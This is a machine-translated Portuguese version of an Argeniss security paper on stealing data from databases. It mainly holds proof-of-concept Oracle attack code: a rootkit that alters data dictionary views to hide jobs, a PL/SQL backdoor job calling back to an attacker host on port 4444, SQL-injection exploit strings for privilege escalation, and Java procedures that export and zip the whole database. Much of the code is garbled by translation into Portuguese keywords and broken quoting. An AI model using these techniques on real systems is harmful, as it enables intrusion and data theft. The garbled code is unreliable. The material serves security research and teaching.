Banco de Dados

Hacking Bases de dados para
Possuir seu Dados
Autor:
Cesar Cerrudo
(Cesar> .no. <Argeniss> .dot. <Com)
Esteban Martinez fayo
(Esteban> .no. <Argeniss> .dot. <Com)
Argeniss - Segurança da Informação
Abstrato:
O roubo de dados está se tornando uma grande ameaça, os criminosos identificaram onde está o dinheiro. Nos últimos anos muitos bancos
de dados de empresas Fortune 500 foram comprometidos causando muitas perdas de dinheiro. Este artigo irá discutir o problema de roubo
de dados com foco em ataques de banco de dados, vamos mostrar informação real sobre o quão sério o problema de roubo de dados é,
vamos explicar por que você deve se preocupar com a segurança de banco de dados e ataques comuns serão descritos, a parte principal do
papel será a demonstração de desconhecido e não ataques bem conhecidos que podem ser usados ou estão sendo usados por criminosos
para roubar dados facilmente de seus bancos de dados, vamos nos concentrar em servidores de banco de dados mais utilizados: MS SQL
Server e Oracle Database, será mostrou como para roubar um banco de dados completo da Internet, como roubar dados usando um rootkit
banco de dados e backdoor e alguns avançados exploits 0 dias de banco de dados. Vamos demonstrar que comprometer bancos de dados
não é grande coisa, caso não tenham sido devidamente protegidas. Também será discutido como se proteger contra ataques de modo que
você pode melhorar a segurança do banco de dados em seu site.
Introdução:
“Por uma estimativa, 53 milhões de pessoas tiveram dados sobre se expuseram ao longo dos últimos 13 meses” - InformationWeek,
2006/03/20 [1]
Isso é notícia velha, agora o número de pessoas que tiveram expostos seus dados é mais de 100 milhões!
Isso está apenas começando, os ataques vão aumentar em número e sofisticação.
Na imagem seguinte, você pode ver o topo Incidentes 10 Cliente Data-Loss partir de março de 2006:
Se você quer ser mais medo basta dar uma olhada:
http://www.privacyrights.org/ar/ChronDataBreaches.htm
- 2- www.argeniss.com
Lá, uma cronologia de violações de dados é mantido até à data pela Privacy Rights Clearinghouse [2].
Estas violações de dados não só prejudica as pessoas que tem seus dados comprometidos, o maior dano é causado à empresa
afetada pela violação, a fim de ilustrar isso vamos ver algum dinheiro estimado perde de algumas empresas que não cuidam dos
dados:
● ChoicePoint: $ 15 milhões de
● Atacado de BJ: $ 10 milhões de
● Acxiom: $ 850.000
● Providence Health System: $ 9 milhões de
Esses números falam por si mesmos.
Os dados sobre as pessoas tem mais valor do que as pessoas pensam, vamos ver e estimativa de quanto vale dados pessoais
(Open precificação de dados pessoais de Swipe Toolkit mercado [3]):
Você pode ver porque os criminosos estão indo para os seus dados, é claro no mercado negro os preços não será o mesmo (talvez
sim), mas 20% desses preços multiplicado por digamos 100.000 registros É um bom dinheiro para um ponto e clique poucos minutos
trabalho (corte).
Por que a segurança do banco de dados ?:
Você deve se preocupam com a segurança de banco de dados porque os bancos de dados são onde o seu descanso de dados mais valioso:
● dados corporativos.
● Dados do cliente.
● Dados financeiros.
● Etc.
Quando os bancos de dados parar de trabalhar a sua empresa pára de funcionar também, tentar fazer uma rápida
estimativa sobre quanto dinheiro você vai perder se seus bancos de dados parar de trabalhar por um par de horas, por um dia, uma
semana, etc. instantaneamente você vai perceber que seus bancos de dados são a coisa mais importante na sua empresa. Eu estava
falando sobre bancos de dados parar de trabalhar sem mencionar a razão, o que dizer se seus bancos de dados hackeado, em seguida,
sua empresa pode perder milhões, no pior caso, ele pode ser executado fora do negócio.
Você deve cumprir com os regulamentos, leis, etc .:
● Sarbanes Oxley (SOX).

● Payment Card Industry (PCI) Padrão de Segurança de Dados.
● Serviços de Saúde (HIPAA).
● Serviços Financeiros (GLBA).
● California Senate Bill No. 1386.
● Responsabilidade dados e Confiança Act (DADOS).
● Etc.
E essa lista fica maior a cada dia, mas o cumprimento dos regulamentos e leis não é nosso assunto agora, é merece um outro papel.
vulnerabilidades de banco de dados afetam todos os fornecedores de banco de dados, eu sei que é notícia velha, mas adivinhem? ainda é um
grande problema, alguns fornecedores como a nossa amada Oracle (DB2 não parecem muito melhor !!) são mais afetados que outros. Por
exemplo, em 2006 a Oracle lançou 4 Critical Patch de actualizações relacionadas com o servidor de banco de dados, mais de 20 remotas (sem
autenticação necessária) vulnerabilidades foram corrigidas, mas isso não é o pior nova, atualmente existem mais de 50 vulnerabilidades que ainda
estão sem patch no oracle Database, então não importa se os seus servidores de banco de dados estão atualizados com patches de eles ainda
podem ser facilmente invadidas.
Para dar uma idéia de como de buggy são servidores de banco de dados, deixe-me mencionar rapidamente quantas 0 dias Argeniss tem atualmente:
● DB2: 8
● Informix: 2
● Oracle:> 50
Hoje em dia perímetro de defesa é forte e seguro, mas isso não é suficiente, bancos de dados têm muitos pontos de entrada, tais como
aplicações web, redes internas, redes de parceiros, etc. Qualquer usuário de banco de dados regular pode cortar um banco de dados se
não for devidamente acompanhados. Não importa se os sistemas operacionais e redes estão devidamente protegidas, bases de dados
ainda pode: ser mal-configurados, têm senhas fracas, ser vulnerável a vulnerabilidades desconhecidas e conhecidas, etc.
Como bancos de dados são cortados ?:
É importante mencionar como bancos de dados são cortado, tendo isso em mente ajuda você a melhor protegê-los. Vamos enumerar
alguns ataques comuns.
Adivinhação de senha / brute-forcing:

Se as senhas estão em branco ou não forte que eles podem ser facilmente adivinhado / brute-forçados. Depois de uma conta de usuário válida é
encontrado é fácil de concluir compromisso do banco de dados, especialmente se o banco de dados é Oracle.
Senhas e dados cheirou através da rede:

Se a criptografia não for usado, senhas e dados podem ser facilmente inalado.
Explorando mis-configurações:
Alguns servidores de banco de dados estão abertos por padrão. Lotes de funcionalidade activada e a maior parte do tempo configurado insegura.
Entregar um Trojan:
Este não é um ataque do servidor de banco de dados comum, mas é algo que estamos pesquisando e os resultados são assustadores,
em breve teremos uma besta bonito pronto, talvez na próxima papel que você saberá.
Um trojan pode ser entregue por e-mail, p2p, IM, CD, DVD, pen drive, etc. Uma vez que ele é executado em um computador desktop por
um funcionário da empresa, ele vai ficar servidores de banco de dados e usuários de informação de forma automática e discrição usando
ODBC , OLEDB, JDBC conexões configurado, cheirando, etc. Quando a informação suficiente é coletado o trojan pode se conectar a
servidores de banco de dados, ele poderia tentar contas padrão, se necessário. Depois de um login bem-sucedido ele estará pronto para
roubar dados, que poderia executar um 0 dias para elevar privilégios para o próprio servidor de banco de dados completo e também instalar
um rootkit banco de dados para esconder suas ações. Todas as etapas anteriores será repetido em cada servidor de banco de dados
encontrados. O trojan pode enviar os dados roubados criptografados de volta ao atacante por e-mail, HTTP, canal secreto, etc.
Explorando vulnerabilidades conhecidas / desconhecidos:

Atacantes podem explorar estouros de buffer, injeção SQL, etc., a fim de possuir o servidor de banco de dados. O ataque poderia ser
através de uma aplicação web, explorando SQL Injection por isso nenhuma autenticação é necessária. Desta forma, os bancos de dados
pode ser cortado a partir da Internet e firewalls são completos ignorada. Este é um dos métodos mais fácil e preferido que os criminosos
usam para roubar informações sensíveis, tais como cartões de crédito, números de segurança social, informações de clientes, etc.
Roubar discos e fitas de backup:

Isso é algo que não é comumente mencionado, as empresas sempre dizem que os discos ou backups foram perdidos :)
Se arquivos de dados e backup de dados não são criptografados, uma vez que os dados roubados pode ser facilmente comprometida.
A instalação de um rootkit / backdoor:

Ao instalar um rootkit ações e objetos de banco de dados pode ser escondida para que os administradores não vai notar alguém cortou o
banco de dados e continua tendo acesso. Um backdoor banco de dados pode ser usado, projetado para roubar dados e enviá-lo para o
atacante e / ou para dar a discrição atacante e acesso irrestrito a qualquer momento.
Oracle ataques de banco de dados:
Agora vamos ver alguns ataques para bancos de dados Oracle.
Roubar dados usando um rootkit e backdoor:

Para roubar dados de um banco de dados a melhor opção parece ser a combinação de um rootkit banco de dados e um backdoor banco
de dados. Isto irá permitir que um invasor para administrar um banco de dados a partir de um local remoto e ser escondido do DBA.
Oracle Database Rootkits:

Um rootkit é um conjunto de ferramentas utilizadas por um atacante depois cortando um sistema de computador que esconde logins,
processos, etc. É comumente usados para esconder a operação de um intruso em um sistema comprometido. Rootkits são mais
difundida em sistemas operacionais, mas a ideia é aplicável às bases de dados também.
Existem maneiras diferentes de implementar rootkits em bancos de dados Oracle, para mais informações ver [7].
Este artigo mostra um exemplo de um rootkit que modifica vistas dicionário de dados para esconder a actividade invasor.
Oracle Database Backdoors:

Este tipo de backdoors permite que atacantes para executar comandos e consultas no banco de dados
de um local remoto e obter as respostas do servidor.

Os invasores não querem ser visíveis para os administradores de banco de dados, de modo backdoors pode ser usado em combinação
com rootkits para esconder as operações backdoor do DBA.
A implementação de um Backdoor banco de dados Oracle:
Para implementar um Backdoor Oracle Database um atacante pode escrever um programa em PL / SQL, Java ou uma combinação de
ambos.
Este programa vai fazer basicamente três coisas:

• Use a funcionalidade da rede built-in para abrir uma conexão com o host do atacante.
• Leia a conexão e executar os comandos do atacante envia.
• Escreva para a conexão abriu a saída dos comandos.
Este programa (o backdoor) pode ser programado, usando a funcionalidade Job, para serem executados periodicamente, por isso, se a
conexão for perdida ou a instância de banco de dados for reiniciado, o atacante vai se conectar em um momento posterior.
A fim de evitar a detecção, a comunicação entre o backdoor e anfitrião do atacante pode ser criptografado ou codificado de alguma
forma que não é detectado por um IDS ou IPS e que não é compreensível para alguém que está olhando para o tráfego da rede.
Prova-de-conceito exemplo de Backdoor e Rootkit:

Este exemplo é constituído por duas partes. Uma parte são os scripts PL / SQL que precisa ser executado no servidor de banco de
dados Oracle com privilégios de administrador (o atacante terá que executar esses scripts usando um exploit para elevar privilégios ou
obter acesso administrativo ao servidor) ea outra parte é a Console backdoor.
Console Backdoor:
O Console Backdoor é uma aplicação gráfica que o atacante corre em sua / seu computador. Ele permite ao atacante:
• Enviar comandos para o Backdoor e receber a saída.

• Ver informações sobre o Backdoor implantado.
• Configure o Backdoor.
• Gerenciar vários Backdoors.
A comunicação entre o Backdoor eo Console de Backdoor:
O Backdoor instalado no servidor de banco de dados eo Console Backdoor que está sendo executado em uso de host TCP do atacante /
IP para se comunicar. O Console Backdoor escuta em uma porta TCP predefinida (4444) à espera de conexões do Backdoor servidor de
banco de dados.
Quando o Backdoor é iniciado, ele abre uma conexão TCP de saída para uma série predefinida e porta onde o Console Backdoor está
escutando. A primeira mensagem que o Backdoor envia, contém informações sobre a propriedade de banco de dados: tipo Database
Server (Oracle, SQL Server), versão, nome de banco de dados e ID de banco de dados.
Backdoor Console imagem
Em seguida, o Backdoor introduz um ciclo de repetição destas operações:

• Lê a partir da conexão TCP / IP e executa os comandos que recebe do Console Backdoor.
• Envia a saída para o console Backdoor.

• Envia um “[[FIM]]” string significando que não há mais saída para o comando.
Ele faz um loop até que o comando “EXIT” é recebido. Quando o Backdoor recebe o comando EXIT, ele fecha a conexão
TCP.
Console backdoor oracle Database

• Ouça na porta TCP
Servidor
• Enviar informações sobre DB propriedade
• Mostra nova DB Owned

• Enviar comando
• comando executar
• Enviar Output
hospedeiro atacante (remoto)
• Mostrar saída Loop até que “EXIT” é
recebido
A comunicação entre o Console Backdoor e Backdoor instalado no banco de dados
Scripts PL / SQL:
Estes são scripts PL / SQL que irá instalar (ou desinstalar) o rootkit e o backdoor em um banco de dados Oracle.
OracleRootkit.sql:
Este script cria uma função que modifica o dicionário de dados vistas DBA_JOBS, DBA_JOBS_RUNNING, KU $ _JOB_VIEW para
esconder o trabalho backdoor.
A função pode ser injetado em qualquer vulnerabilidade de injeção SQL, onde uma chamada de função pode ser injetado como é o caso de
muitas vulnerabilidades de injeção SQL recentemente encontrados no software Oracle.
Abaixo está o script que instala o backdoor. Os pontos de vista originais são alteradas para adicionar uma condição na cláusula WHERE para
que o trabalho backdoor não é devolvido. Em vermelho você pode ver o que está incluído na definição da exibição original.
CRIAR OU SUBSTITUIR
FUNÇÃO ins_rootkit DEVOLVER VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION; INÍCIO
EXECUTAR IMEDIATA 'CRIAR OU SUBSTITUIR FORCE VIEW "SYS". "DBA_JOBS" ( "trabalho", "LOG_USER", "PRIV_USER",
"SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "NEXT_DATE ", "NEXT_SEC", "TOTAL_TIME",
"quebrado", "Intervalo", "falhas", "o quê", "NLS_ENV", "MISC_ENV", "instância") AS
Selecione Trabalho, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,

LAST_DATE, substr (to_char (last_date, '' HH24: MI: SS ''), 1,8) LAST_SEC, THIS_DATE, substr (to_char (this_date, '' HH24:
MI: SS ''), 1,8) THIS_SEC, nEXT_DATE, substr (to_char (next_date, '' HH24: MI: SS ''), 1,8) NEXT_SEC, (total + (sysdate-nvl
(this_date, sysdate))) * 86400 TOTAL_TIME, descodificar (mod (FLAG, 2) , 1, '' Y '', 0 '', N '', ''? '') BROKEN, iNTERVALO #
intervalo, FALHAS, O QUE, nlsenv NLS_ENV, env MISC_ENV, INSTÂNCIA j.field1 de sys.job $ j WHERE não j.what gostar ''
Declare UTL_TCP.CONNECTION l_cn;% ''' ; EXECUTAR IMEDIATA 'CRIAR OU SUBSTITUIR FORCE VIEW "SYS".
"DBA_JOBS_RUNNING" ( "SID", "trabalho", "falhas", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC", "instância") AS
selecionar v.SID, JOB v.id2, j.FAILURES,

LAST_DATE, substr (to_char (last_date, '' HH24: MI: SS ''), 1,8) LAST_SEC, THIS_DATE, substr (to_char
(this_date, '' HH24: MI: SS ''), 1,8) THIS_SEC,
j.field1 INSTÂNCIA
de sys.job $ j, v $ bloqueio v
onde v.type = '' JQ '' e j.job (+) = v.id2 e não j.what gostar '' Declare UTL_TCP.CONNECTION l_cn;% ''' ;
EXECUTAR IMEDIATA 'CRIAR OU SUBSTITUIR FORCE VIEW "SYS". "KU $ _JOB_VIEW" OF "SYS". "KU $ _JOB_T"
COM identificador de objeto (powner_id) AS SELECT '' 1 '', '' 0 '',
u.user #, j.powner, j.lowner, j.cowner, j.job, TO_CHAR (j.last_date, ''

AAAA-MM-DD: HH24: MI: SS ''), TO_CHAR (j.this_date, '' AAAA-MM-DD: HH24:
MI: SS ''), TO_CHAR (j.next_date, '' AAAA-MM-DD: HH24: MI: SS ''),
j.flag, j.failures,
REPLACE (j.interval #, '' '' '' '', '' '' '' '' '' ''),
SUBSTITUIR (j.what, '' '' '' '', '' '' '' '' '' ''), SUBSTITUIR (j.nlsenv, '' '' '' '', '' ''
'' '' '' ''),
j.env, j.field1, j.charenv
de sys.job $ j, SYS.USER $ u onde j.powner = u.name e não j.what gostar '' Declare
UTL_TCP.CONNECTION l_cn;% ''' ;
COMMIT;
RETORNA ''; FIM;
OracleBackdoor.sql:
Este script cria uma função que envia um trabalho que lê comandos do host atacante, executa-los e envia a saída do comando de volta
para o atacante.
Este é o conteúdo do script com comentários em verde:
Crie uma função chamada ins_backdoor que executa como o usuário chamando e é definida como uma transação autônoma. Estas
características são necessários para esta função, em seguida, pode ser usado em uma injeção de SQL explorar.
CRIAR OU SUBSTITUIR
FUNÇÃO ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
NÚMERO job_id; INÍCIO
Envie um trabalho de banco de dados usando a funcionalidade de trabalho em DBMS_JOB. Para a comunicação TCP / IP com o
Console Backdoor ele usa o pacote padrão UTL_TCP Oracle.
DBMS_JOB.SUBMIT (job_id, 'Declare UTL_TCP.CONNECTION l_cn;

l_ret_val PLS_INTEGER; l_sqlstm
VARCHAR2 (32000); l_thecursor
INTEGER;
l_columnvalue VARCHAR2 (2000); l_status
INTEGER;
Número padrão l_colcnt 0; l_desc_t
DBMS_SQL.DESC_TAB; INÍCIO
Abre uma conexão com o host atacante onde o Console Backdoor está em execução. Neste script é codificado para 192.168.253.1 ea
porta TCP é 4444. Você pode alterá-lo para qualquer outro valor.
l_cn: = UTL_TCP.OPEN_CONNECTION ( '' 192.168.253.1 '', 4444, 1521);
Obter as informações sobre o banco de dados e enviá-lo através da conexão TCP como um documento XML.
SELECIONE DBID, NOME EM l_colcnt, l_sqlstm DE V $ DATABASE; bandeira SELECT INTO l_columnvalue de v $ VERSÃO
ONDE ROWNUM = 1; l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' <? xml version = "1.0" encoding = "utf-8"?
> <IncommingConn xmlns = "http://tempuri.org/IncomingBackdoorConn.xsd" dbType = "Oracle" ServerVersion = " '' || l_columnvalue || ''"
DBName = " '' || l_sqlstm || ''" DBID = " '' || l_colcnt || ''" /> '');
LOOP
l_sqlstm: = UTL_TCP.GET_LINE (l_cn, TRUE); EXIT WHEN
SUPERIOR (l_sqlstm) = '' SAIR ''; INÍCIO
l_thecursor: = DBMS_SQL.OPEN_CURSOR;
Se o comando SQL recebido é um SELECT primeiro irá obter todos os nomes de coluna e enviá-los para que o Console Backdoor exibe
como os cabeçalhos de coluna em uma grade.
IF (SUBSTR (LTRIM (SUPERIOR (l_sqlstm)), 1, 7)) = '' SELECT '' THEN
DBMS_SQL.PARSE (l_thecursor, l_sqlstm, DBMS_SQL.NATIVE);

DBMS_SQL.DESCRIBE_COLUMNS (l_thecursor, l_colcnt, l_desc_t); FOR i IN 1 .. LOOP l_colcnt
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' '' || l_desc_t (i) .col_name); DBMS_SQL.DEFINE_COLUMN (l_thecursor,
i, l_columnvalue, 2000); END LOOP;
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' ''); DBMS_SQL.DEFINE_COLUMN (l_thecursor, 1,

l_columnvalue, 2000); l_status: = DBMS_SQL.EXECUTE (l_thecursor); LOOP
EXIT WHEN (DBMS_SQL.FETCH_ROWS (l_thecursor) <= 0); FOR i IN 1 .. LOOP

l_colcnt
DBMS_SQL.COLUMN_VALUE (l_thecursor, i, l_columnvalue); l_ret_val: = UTL_TCP.WRITE_LINE

(l_cn, '' '' || l_columnvalue); END LOOP;
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' ''); END LOOP;
DBMS_SQL.CLOSE_CURSOR (l_thecursor); OUTRO
Se o comando SQL recebido não é um SELECT apenas executá-la usando EXECUTE IMMEDIATE.
EXECUTAR IMEDIATA (l_sqlstm);

l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' 'PL / SQL concluído com sucesso.');
FIM SE;
EXCEÇÃO
Se houver algum erro, envie a descrição sobre a conexão.
QUANDO outros, então

l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' ORACLE erro: '' || sqlerrm); FIM;
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' [[FIM]] ''); END LOOP;
UTL_TCP.CLOSE_CONNECTION (l_cn); FIM;
SYSDATE + 10/86400 é o momento em que o trabalho deve começar pela primeira vez. Ele é de 10 segundos após a apresentação.
'SYSDATE + 1/1440' significa que o trabalho será executado novamente a cada um minuto.
', SYSDATE + 10/86400, '+ SYSDATE 1/1440');

COMMIT;
RETORNA ''; FIM;
CleanOracleBackdoor.sql:
Este script remove todo o Backdoor Jobs. Para fazer isso, ele vai procurar todos os trabalhos de banco de dados começando com
'Declare L_CN UTL_TCP.CONNECTION;' e removê-los usando
DBMS_JOB.REMOVE.
DECLARAR
CURSOR l_cur_jobs IS
JOB SELECT FROM JOB $ onde o que LIKE 'UTL_TCP.CONNECTION DECLARE l_cn;%'; l_rec l_cur_jobs% rowtype;
- 10 www.argeniss.com
INÍCIO
l_cur_jobs aberta; LOOP
FETCH l_cur_jobs EM l_rec; EXIT WHEN l_cur_jobs%

NOTFOUND; DBMS_JOB.REMOVE (l_rec.job);
COMMIT; END LOOP; COMMIT; FIM;
CleanOracleRootkit.sql:
Restaura os dados de emprego views de dicionário para seu estado original.
É semelhante a OracleRootkit.sql mas sem as condições que foram adicionados para ocultar o backdoor (texto em vermelho).
Executar esses scripts como um usuário DBA:
Como discutido anteriormente, esses scripts precisam ser executado no servidor de banco de dados como um usuário com privilégios de DBA.
Na seção anterior 'Como bancos de dados são cortado?' podemos citar e descreveu algumas das técnicas que os invasores poderiam usar
para conseguir isso.
Como um usuário de baixo privilégio conectado ao banco de dados:

Para este exemplo, vamos utilizar uma vulnerabilidade de injeção de PL / SQL para elevar privilégios e executar as funções que acabamos
de criar com privilégios de DBA. o
vulnerabilidade é em a CHANGE_SET parâmetro do
procedimento DBMS_CDC_SUBSCRIBE.GET_SUBSCRIPTION_HANDLE. Para explorar esta vulnerabilidade, podemos executar este:
DECLARAR
P_CHANGE_SET VARCHAR2 (32767);
P_DESCRIPTION VARCHAR2 (32767); NÚMERO
P_SUBSCRIPTION_HANDLE; INÍCIO
P_CHANGE_SET: = '' '|| SCOTT. ins_rootkit () || '' '; P_DESCRIPTION: = 'AA';

P_SUBSCRIPTION_HANDLE: = 1;
SYS.DBMS_CDC_SUBSCRIBE.GET_SUBSCRIPTION_HANDLE (P_CHANGE_SET, P_DESCRIPTION,

P_SUBSCRIPTION_HANDLE); FIM;
Para instalar o backdoor apenas mudar ins_rootkit para ins_backdoor.
Como um usuário do aplicativo web:

Usando um aplicativo web vulnerável a injeção de SQL, um atacante pode ainda instalar um Rootkit e uma Backdoor mesmo que ele não
tem acesso direto ao servidor de banco de dados.
O TableEmpSearch.asp arquivo é um exemplo de uma página web que é vulnerável a ataques de injeção SQL (o parâmetro de pesquisa
é vulnerável). A vulnerabilidade permite que um usuário da web maliciosos para injetar uma chamada de função. Esta função serão
executados como o usuário do banco de dados de aplicações web. Agora vamos ver que existe uma função built-in no Oracle que irá
ajudar a explorar esta vulnerabilidade de aplicações web.
DBMS_XMLQUERY.GETXML:
Há uma função (disponível desde o Oracle 9i Release 1) chamou GetXml em DBMS_XMLQUERY pacote que executa uma consulta e
retorna o resultado no formato XML. Por padrão, ele tem o privilégio EXECUTE concedidos para PUBLIC. A parte interessante é que ele
permite executar blocos PL / SQL anônimos e criando uma transação autônoma não executa apenas consultas
mas também DML e DDL declarações. Sem a elevação de privilégios existe aqui, mas isso pode ser usado para explorar mais facilmente
as muitas vulnerabilidades de injeção SQL que exigem uma função a ser criado e também para explorar facilmente a injeção de SQL em
uma aplicação web com um backend de banco de dados Oracle.
Para executar blocos PL / SQL como o usuário do banco de dados web um atacante pode enviar este no parâmetro Pesquisa da página
web:
'|| dbms_xmlquery.getXml (' declarar PRAGMA AUTONOMOUS_TRANSACTION; começar a executar imediatamente '' QUALQUER
PL / SQL BLOCK ''; commit; fim; '0) ||'
Isto resulta na próxima PL / SQL que está sendo executada pelo usuário de banco de dados web:
SELECIONE EMPNO, ENAME, TRABALHO DE SCOTT.EMP ONDE ENAME LIKE '' || dbms_xmlquery.getXml ( 'declarar
PRAGMA AUTONOMOUS_TRANSACTION; começar a executar imediatamente '' QUALQUER PL / SQL BLOCK ''; commit; fim;
', 0) || '%'
Vamos supor que o usuário do banco de dados web não tem privilégios de DBA, mas o privilégio CREATE PROCEDURE. Então, vamos
criar uma função que instala o backdoor e mais tarde vamos explorar uma vulnerabilidade de injeção SQL em um dos pacotes Oracle
para executar esta função como SYS.
Para criar a função para instalar o Backdoor Job um atacante pode enviá-lo para o parâmetro da página web vulnerável a injeção de
SQL:
'|| dbms_xmlquery.getXml (' declarar PRAGMA AUTONOMOUS_TRANSACTION; início
executar imediato '' CREATE OR REPLACE FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS PRAGMA
AUTONOMOUS_TRANSACTION; NÚMERO job_id; NÚMERO L_COUNT; BEGIN executar imediato '' '' SELECT COUNT (*) FROM JOB
$ ONDE QUE GOSTA '' '' '' '' Declare UTL_TCP.CONNECTION l_cn;% '' '' '' '' '' '' INTO L_COUNT; se L_COUNT = 0, em seguida,
DBMS_JOB.SUBMIT (job_id, '' '' DECLARE UTL_TCP.CONNECTION l_cn; PLS_INTEGER l_ret_val; l_sqlstm VARCHAR2 (32000);
l_thecursor INTEGER; l_columnvalue VARCHAR2 (2000); l_status INTEGER; l_colcnt número padrão 0; l_desc_t DBMS_SQL.
DESC_TAB; BEGIN
l_cn: =
UTL_TCP.OPEN_CONNECTION ( '' '' '' '' 192.168.253.1 '' '' '' '', 4444, 1521); SELECIONE DBID, NOME EM l_colcnt, l_sqlstm DE V
$ DATABASE; bandeira SELECT INTO l_columnvalue de v $ VERSÃO ONDE ROWNUM = 1; l_ret_val: = UTL_TCP.WRITE_LINE
(l_cn, '' '' '' '' <xml version = "1.0" encoding = "utf-8"?
> <IncommingConn xmlns = "http://tempuri.org/IncomingBackdoorConn.xsd" dbType = "Oracle" ServerVersion = " '' '' '' '' ||
l_columnvalue || '' '' '' ''" DBName =" '' '' '' '' || l_sqlstm || '' '' '' ''" DBID = " '' '' '' '' || l_colcnt || '' '' '' ''"/>' '' '' '' '); LOOP
l_sqlstm: = UTL_TCP.GET_LINE (l_cn, TRUE);

EXIT WHEN SUPERIOR (l_sqlstm) = '' '' '' '' saída '' '' '' ''; INÍCIO l_thecursor: =
DBMS_SQL.OPEN_CURSOR; IF (SUBSTR (LTRIM (SUPERIOR (l_sqlstm)), 1, 7)) =
'' '' '' '' Selecionar '' '' '' '' ENTÃO DBMS_SQL.PARSE (l_thecursor, l_sqlstm,
DBMS_SQL.NATIVE); DBMS_SQL.DESCRIBE_COLUMNS (l_thecursor, l_colcnt,
l_desc_t); FOR i IN 1 .. LOOP l_colcnt l_ret_val: =
UTL_TCP.WRITE_LINE (l_cn, '' '' '' '' '' '' '' '' || l_desc_t (i) .col_name); DBMS_SQL.DEFINE_COLUMN (l_thecursor, i,
l_columnvalue, 2000); END LOOP;
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' '' '' '' '' '' '' ''); DBMS_SQL.DEFINE_COLUMN (l_thecursor, 1,
l_columnvalue, 2000); l_status: =
DBMS_SQL.EXECUTE (l_thecursor); LOOP SAÍDA
QUANDO (DBMS_SQL.FETCH_ROWS (l_thecursor) <= 0); FOR i IN 1 .. l_colcnt
LOOP DBMS_SQL.COLUMN_VALUE (l_thecursor, i, l_columnvalue);
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' '' '' '' '' '' '' '' || l_columnvalue); END LOOP;
l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' '' '' '' '' '' '' '');
END LOOP; DBMS_SQL.CLOSE_CURSOR (l_thecursor); OUTRO EXECUTAR
IMEDIATA (l_sqlstm); l_ret_val: = UTL_TCP.WRITE_LINE (l_cn,
'' '' '' '' PL / SQL concluído com sucesso. '' '' '' ''); FIM SE; EXCEÇÃO
QUANDO outros, então l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' '' '' '' ORACLE
ERROR: '' '' '' '' || sqlerrm); FIM; l_ret_val: = UTL_TCP.WRITE_LINE (l_cn,
''''''''[[Fim]]''''''''); END LOOP; UTL_TCP.CLOSE_CONNECTION (l_cn); FIM; '' '', SYSDATE + 10/86400, '' '' + SYSDATE 1/1440 '' '');
fim se; COMMIT; Retorna ''''''''; FIM;''; commit; fim; '0) ||'
O trabalho backdoor ainda não foi criada. Para criá-lo o atacante precisa executar a função ins_backdoor que acabou de criar como um
usuário DBA. Para isso, o atacante pode enviar esta exploit para o parâmetro vulnerável aplicação web:
'|| SYS.DBMS_METADATA.GET_DDL (' AA '' || scott.ins_backdoor || '' ' '') ||'
Ele explora uma vulnerabilidade Oracle no SYS.DBMS_METADATA.GET_DDL (ver [8] e [9] ) Para executar a função scott.ins_backdoor
no contexto de segurança utilizador SYS.
De maneira semelhante que o backdoor foi instalado o rootkit também pode ser instalado usando um aplicativo web vulnerável a injeção
de SQL.
Roubando um banco de dados completo da Internet:

Este é um exemplo muito simples de como um completo banco de dados Oracle pode ser roubado do Internet usando um exploit ou de
um backdoor. O conteúdo do banco de dados são enviado comprimido usando uma conexão de saída iniciada a partir do host do servidor
de banco de dados Oracle para o host atacante.
Este exemplo consiste em dois scripts que necessita para ser executado após o banco de dados foi comprometida (requer privilégio
DBA). Os scripts de trabalhar em todas as plataformas em que o Oracle é executado. Existem duas versões diferentes dos scripts uma
para * nix e outro para Windows, sendo a única diferença entre eles os locais de caminho para arquivos e diretórios.
export_and_zip.sql:
Neste script, criamos dois procedimentos armazenados usando a funcionalidade Java fornecido pela Oracle para obter acesso ao
sistema operacional.
CRIAR OU SUBSTITUIR e resolver FONTE JAVA DENOMINADO "SRC_EXECUTEOS" AS java.lang

importação. *; import java.io. *; ExecuteOS classe pública {
Esta função Java cria um arquivo de texto que será usado para chamar utilitário exp do Oracle para exportar todo o conteúdo do banco de dados para
um arquivo. parâmetros:
parfile: nome de arquivo para o arquivo de parâmetro de texto que será criado. exportação: nome de
arquivo para o arquivo exportado.
pública createParfile static void (String parfile, String exportação) throws IOException
{ Arquivo fileOut = new File (parfile);
FileWriter fw = FileWriter novo (fileOut); fw.write ( "completo = y \ n");
fw.write ( "idutilizador = \" / como sysdba \ "\ n"); fw.write ( "file

=" + exportação + "\ n"); fw.close (); }
Esta função Java executado como comandar um sistema operacional os cmd string passada como um parâmetro.
execOSCmd public static void (String cmd) throws IOException, java.lang.InterruptedException
{ . Processo p = Runtime.getRuntime () exec (DMC);
p.waitFor ();
}};
CRIAR OU SUBSTITUIR "PROC_EXECUTEOS" Procedimento (p_command varchar2) como Java LÍNGUA
NOME 'ExecuteOS.execOSCmd (java.lang.String)';
CREATE OR REPLACE PROCEDURE "PROC_CREATEPARFILE" (p_parfile varchar2, p_export varchar2)
AS JAVA LÍNGUA
NOME 'ExecuteOS.createParfile (java.lang.String, java.lang.String)';
Executar os procedimentos armazenados Java: Criar um arquivo de parâmetro para o utilitário exp, execute o utilitário exp para exportar o
banco de dados e comprimir o arquivo exportado com um utilitário Zip. locais de caminho são diferentes por isso temos duas versões uma
para Windows e outra para * nix
- - janelas
BEGIN
PROC_CREATEPARFILE ( 'C: \ parfile.txt', 'C: \ export.dmp'); PROC_EXECUTEOS (
'parfile exp = C: \ parfile.txt'); PROC_EXECUTEOS ( 'zip c: \ export.zip c: \ export.dmp'); FIM;
